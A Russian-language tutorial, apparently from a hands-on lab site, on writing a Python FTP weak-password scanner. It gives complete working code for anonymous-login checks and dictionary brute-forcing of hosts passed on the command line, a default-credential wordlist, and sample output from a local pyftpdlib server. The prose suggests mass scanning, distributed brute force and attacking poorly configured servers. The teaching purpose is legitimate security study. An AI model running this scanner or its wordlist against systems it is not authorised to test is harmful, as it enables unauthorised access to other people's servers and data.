Сканер на слабые пароли FTP на Python

PythonBeginner
Практиковаться сейчас

Введение

Этот проект начинается с реализации сканера FTP с слабым паролем с использованием Python, что дает представление о техниках пенетрационного тестирования на Python. В эксперименте рассматриваются принципы работы FTP-сервера, использование библиотеки ftplib и другие связанные знания.

  1. Изучение FTP-серверов: познакомиться с FTP-серверами, их назначением и принципами работы.
  2. Использование библиотеки FTPlib: использовать библиотеку ftplib в Python для реализации анонимного сканера FTP и брутфорса для взлома пароля.
  3. Использование библиотеки argparse: научиться обрабатывать аргументы командной строки с использованием библиотеки argparse в Python.
  4. Настройка FTP-сервера на Ubuntu: следовать инструкциям по локальной настройке FTP-сервера для целей тестирования.

Этот проект имеет среднюю сложность и подходит для пользователей с базовым знанием Python. Это хороший шанс углубить и закрепить свои знания о фундаментальных понятиях Python и получить практический опыт в техниках пенетрационного тестирования на Python.

👀 Предварительный просмотр

python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 Неудачная попытка анонимного входа в FTP!
[+] Пробую: ftp:ftp
[+] Пробую: root:root
[+] Пробую: root:toor
[+] Пробую: admin:admin
[+] Пробую: geust:geust
[+] Пробую: admin:123456

[+] 127.0.0.1 Успешный вход в FTP: admin:123456

[+] Хост: 127.0.0.1 Имя пользователя: admin Пароль: 123456

[*]-------------------Конец сканирования!--------------------[*]

🎯 Задачи

В этом проекте вы научитесь:

  • Как понять принципы работы FTP-серверов
  • Как использовать библиотеку ftplib в Python для реализации анонимного сканера FTP
  • Как реализовать брутфорс для взлома пароля на FTP-сервере с использованием словаря паролей
  • Как обрабатывать аргументы командной строки с использованием библиотеки argparse
  • Как настроить FTP-сервер на Ubuntu для целей тестирования

🏆 Достижения

После завершения этого проекта вы сможете:

  • взаимодействовать с FTP-серверами с использованием Python;
  • реализовать сканирование анонимных входов и слабых паролей;
  • обрабатывать аргументы командной строки в Python;
  • настроить FTP-сервер на Ubuntu.

FTP-сервер

FTP-сервер (File Transfer Protocol Server) — это компьютер, который предоставляет услуги по хранению и доступу к файлам в Интернете, следуя протоколу FTP. FTP расшифровывается как File Transfer Protocol, что представляет собой протокол, специально разработанный для передачи файлов. Простыми словами, сервер, поддерживающий протокол FTP, — это FTP-сервер.

FTP — это служба, основанная исключительно на TCP и не поддерживающая UDP. Особенность FTP заключается в том, что она использует два порта: порт данных и порт команд (также называемый управляющим портом). Обычно эти два порта равны 21 (управляющий порт) и 20 (порт данных). Однако порт данных не всегда равен 20, в зависимости от режима работы FTP. Именно это является основным различием между активным и пассивным FTP. Основно существуют два режима работы:

  • Активный FTP

У FTP-сервера управляющий порт равен 21, а порт данных равен 20. Поэтому при настройке статического маппинга необходимо открыть только порт 21. Сервер инициализирует соединение с клиентом с использованием порта 20.

  • Пассивный FTP

У сервера управляющий порт равен 21, а порт данных случайным образом назначается. Клиент инициализирует соединение с соответствующим портом данных, поэтому недостаточно открыть только порт 21 для статического маппинга. В этом случае требуется DMZ (Demilitarized Zone).

В этом проекте разработка сканера FTP сосредоточена на следующих двух аспектах:

  1. Сканирование анонимного FTP

Сканирование анонимных входов в FTP используется главным образом для пакетного сканирования. Успешность сканирования одного FTP-сервера относительно низкая, но все же возможна. Возможно, кто-то подумает, а есть ли такие, кто не настраивает пароли? Многие сайты по-прежнему предоставляют FTP-сервисы для скачивания ресурсов пользователями, поэтому неудивительно, что анонимные входы разрешены. Что еще более удивительно, администраторы сайтов открывают анонимные входы в FTP для удобства обновления программного обеспечения доступа к сайту. Это предоставляет нам множество возможностей, особенно при атаке на последний тип сервера, который является уязвимым для атак. В будущем я объясню, как получить shell после обнаружения веб-страниц в директориях FTP.

  1. Сканирование слабых паролей FTP

Сканирование слабых паролей FTP по существу представляет собой брутфорс. Почему мы не называем его брутфорсом? Потому что мы только сканируем некоторые простые комбинации паролей, а не все возможные комбинации. Кроме того, у нас нет столько времени на брутфорс, учитывая, что мы не живем тысячи лет! Это всего лишь пароль. Если мы не можем найти слабые пароли, мы можем перейти дальше. Зачем держаться за одну цветочку, когда в мире миллионы других? Однако, если вы действительно любите этот FTP-сервер, я научу вас другими способами проникать в сервера в будущем!

Реализация сканера анонимного доступа к FTP

В этом случае мы будем использовать класс FTP из библиотеки ftplib в Python. Класс FTP реализует большинство функций FTP-клиента, таких как подключение к FTP-серверу, просмотр файлов на сервере, загрузка и скачивание файлов и т.д. Далее мы определим функцию anonScan(hostname) для реализации сканирования FTP-серверов, которые允许 анонимный вход. Код выглядит так:

## Анонимный сканер входа
def anonScan(hostname):                 ## Параметр - это имя хоста
    try:
        with FTP(hostname) as ftp:      ## Создаем объект FTP
            ftp.login()                 ## Анонимный вход в FTP
            print('\n[*]'+ str(hostname) + " Анонимный вход в FTP успешен!") ## Если не возникает исключения, значит вход успешен
            return True
    except Exception as e:              ## Если возникает исключение, значит анонимный вход не удался
        print('\n[-]'+ str(hostname) + " Неудачная попытка анонимного входа в FTP!")
        return False

Код прост и комментарии поясняют смысл кода. Вот общий алгоритм этой функции: сначала мы создаем объект FTP (называем его ftp) с использованием имени хоста. Затем мы вызываем функцию login() без параметров для этого объекта ftp, чтобы инициализировать анонимный вход на FTP-сервер. Если во время процесса входа не возникает исключений, значит анонимный вход успешен; в противном случае анонимный вход не удался.

Сканирование на слабые пароли FTP

Сканирование FTP на слабые пароли основано на словаре имен пользователей и паролей. В нашей экспериментальной среде в качестве словаря паролей будет использован файл ~/project/pwd.txt.

ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
bugs:bunny
donald:duck
minnie:mouse
elmer:fudd
tweety:bird
alfonse:capone
al:capone
albert:einstein
open:saysme
open:sayzme
open:sezme

Далее мы создадим файл с кодом ftpScanner.py в директории ~/project для реализации сканирования FTP на слабые пароли в соответствии с форматом словаря. Код выглядит так:

## Брутфорс для взлома пароля
def vlcLogin(hostname, pwdFile):                ## Параметры (имя хоста, файл словаря)
    try:
        with open(pwdFile, 'r') as pf:          ## Открываем файл словаря
            for line in pf.readlines():         ## Читаем каждую строку в файле словаря
                time.sleep(1)                   ## Ждем 1 секунду
                userName = line.split(':')[0]   ## Извлекаем имя пользователя из прочитанного контента
                passWord = line.split(':')[1].strip('\r').strip('\n')  ## Извлекаем пароль из прочитанного контента
                print('[+] Trying: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:  ## Создаем объект FTP с именем хоста в качестве параметра
                        ftp.login(userName, passWord)   ## Входим на FTP-сервер с использованием извлеченных имени пользователя и пароля
                        ## Если не возникает исключения, вход успешен, выводим имя хоста, имя пользователя и пароль
                        print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    ## Если возникает исключение, значит вход не удался, продолжаем пытаться другие имена пользователей и пароли
                    pass
    except IOError as e:
        print('Error: the password file does not exist!')
    print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
    return (None,None)

Этот фрагмент кода перебирает словарь для чтения имен пользователей и паролей и пытается войти. Если вход успешен, значит найдено имя пользователя и пароль. Функция определяет имя хоста в виде строки, которая может быть разделена запятой. Нахождение пароля не останавливает программу, а продолжает сканирование на слабые пароли на других хостах, пока не будут отсканированы все хосты.

Парсинг командной строки

На данный момент наш сканер FTP почти завершен. Код не длинный и довольно простой. Теперь необходимо сделать наш скрипт способным обрабатывать ввод командной строки для управления сканированием определенных хостов. Для обработки аргументов командной строки мы будем использовать библиотеку argparse в Python. Эта библиотека является встроенным модулем в Python и делает парсинг командной строки очень простым. Давайте убедимся в силе argparse, рассмотрев следующий код:

## Создание объекта ArgumentParser с использованием описания
parser = argparse.ArgumentParser(description='FTP Scanner')
## Добавление команды -H, где dest ссылается на имя переменной, которую мы используем для получения значения, переданного после -H, а help предоставляет информацию о помощи по этой команде
parser.add_argument('-H', dest='hostName', help='The host list with "," space')
parser.add_argument('-f', dest='pwdFile', help='Password dictionary file')
options = None
try:
    options = parser.parse_args()
except:
    print(parser.parse_args(['-h']))
    exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile

С использованием библиотеки argparse для парсинга аргументов командной строки мы можем автоматически генерировать документ помощи на основе ключевого слова help, предоставленного при добавлении аргументов. Результат выглядит так:

python3 ftpScanner.py -h

usage: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]
FTP Scanner
optional arguments:
-h, --help show this help message and exit
-H HOSTNAME The host list with "," space
-f PWDFILE Password dictionary file

При работе с более сложными командами сила argparse становится еще более очевидной. Поскольку это базовая функция Python, я не буду уделять слишком много внимания библиотекам, входящим в состав Python.

Интеграция всего кода

Базовый код уже реализован, и теперь нам просто нужно интегрировать вышеприведенный код. Код выглядит так:

from ftplib import *
import argparse
import time

## Сканирование анонимного входа
def anonScan(hostname):
    try:
        with FTP(hostname) as ftp:
            ftp.login()
            print('\n[*]'+ str(hostname) + " Анонимный вход в FTP успешен!")
            return True
    except Exception as e:
        print('\n[-]'+ str(hostname) + " Неудачная попытка анонимного входа в FTP!")
        return False

## Брутфорс-атак
def vlcLogin(hostname, pwdFile):
    try:
        with open(pwdFile, 'r') as pf:
            for line in pf.readlines():
                time.sleep(1)
                userName = line.split(':')[0]
                passWord = line.split(':')[1].strip('\r').strip('\n')
                print('[+] Trying: '+ userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:
                        ftp.login(userName, passWord)
                        print('\n[+]'+ str(hostname) +'FTP Login successful: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    pass
    except IOError as e:
        print('Error: the password file does not exist!')
    print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
    return (None,None)

def main():
    parser = argparse.ArgumentParser(description='FTP Scanner')
    parser.add_argument('-H',dest='hostName',help='The host list with ","space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(['-h']))
        exit(0)

    hostNames = str(options.hostName).split(',')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)

    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print('Host: '+ hostName +'Can anonymously!')
        elif pwdFile!= None:
            (username,password) = vlcLogin(hostName,pwdFile)
            if password!= None:
                print('\n[+] Host: '+ hostName +'Username: '+ username + \
                      'Password: '+ password)

    print('\n[*]-------------------Scan End!--------------------[*]')

if __name__ == '__main__':
    main()

Таким образом, наш код завершен. С некоторыми модификациями мы можем сделать этот сканер еще более мощным. Например, имена хостов можно указать в определенном диапазоне для реализации大规模ного сканирования или можно модифицировать код для реализации распределенных брутфорс-атак на имена пользователей и пароли FTP, увеличить размер словаря и значительно повысить вероятность успеха.

Настройка FTP-сервера

Далее нам нужно настроить локальный FTP-сервер для тестирования нашего сканера. Здесь мы будем использовать библиотеку pyftpdlib в Python для настройки FTP-сервера. pyftpdlib - это библиотека Python для FTP-серверов, которая может быть использована для быстрого создания FTP-сервера. Установка pyftpdlib очень проста, достаточно использовать команду pip. Введите следующую команду в терминале для установки библиотеки pyftpdlib:

sudo pip install pyftpdlib
sudo python3 -m pyftpdlib -p 21

По умолчанию разрешен анонимный вход.

Тест сканирования

Теперь, когда наша среда настроена, мы можем приступить к тестированию нашего сканера на слабые пароли FTP.

cd ~/project
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[*] 127.0.0.1 Анонимный вход в FTP успешен!
Host: 127.0.0.1 Может быть доступен анонимно!

[*]-------------------Scan End!--------------------[*]

В этом тесте мы в основном сосредоточены на анонимном входе. Что касается брутфорс-атак на слабые пароли, вы можете найти свой собственный словарь паролей и попробовать взломать FTP-сервер.

Теперь мы пытаемся добавить пароль на FTP-сервер и снова протестировать его. Во - первых, нам нужно остановить FTP-сервер и перезапустить его с паролем.

sudo python3 -m pyftpdlib -p 21 -u admin -P 123456
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 Неудачная попытка анонимного входа в FTP!
[+] Trying: ftp:ftp
[+] Trying: root:root
[+] Trying: root:toor
[+] Trying: admin:admin
[+] Trying: geust:geust
[+] Trying: admin:123456

[+] 127.0.0.1 FTP Login successful: admin:123456

[+] Host: 127.0.0.1 Username: admin Password: 123456

[*]-------------------Scan End!--------------------[*]

Резюме

В этом проекте реализован сканер на слабые пароли FTP, в котором используются следующие ключевые аспекты:

  1. Основные концепции FTP-серверов
  2. Пошаговая реализация сканера на слабые пароли FTP с использованием FTPlib
  3. Парсинг аргументов командной строки с использованием argparse
  4. Методы настройки тестовой среды.
✨ Проверить решение и практиковаться✨ Проверить решение и практиковаться✨ Проверить решение и практиковаться✨ Проверить решение и практиковаться✨ Проверить решение и практиковаться✨ Проверить решение и практиковаться✨ Проверить решение и практиковаться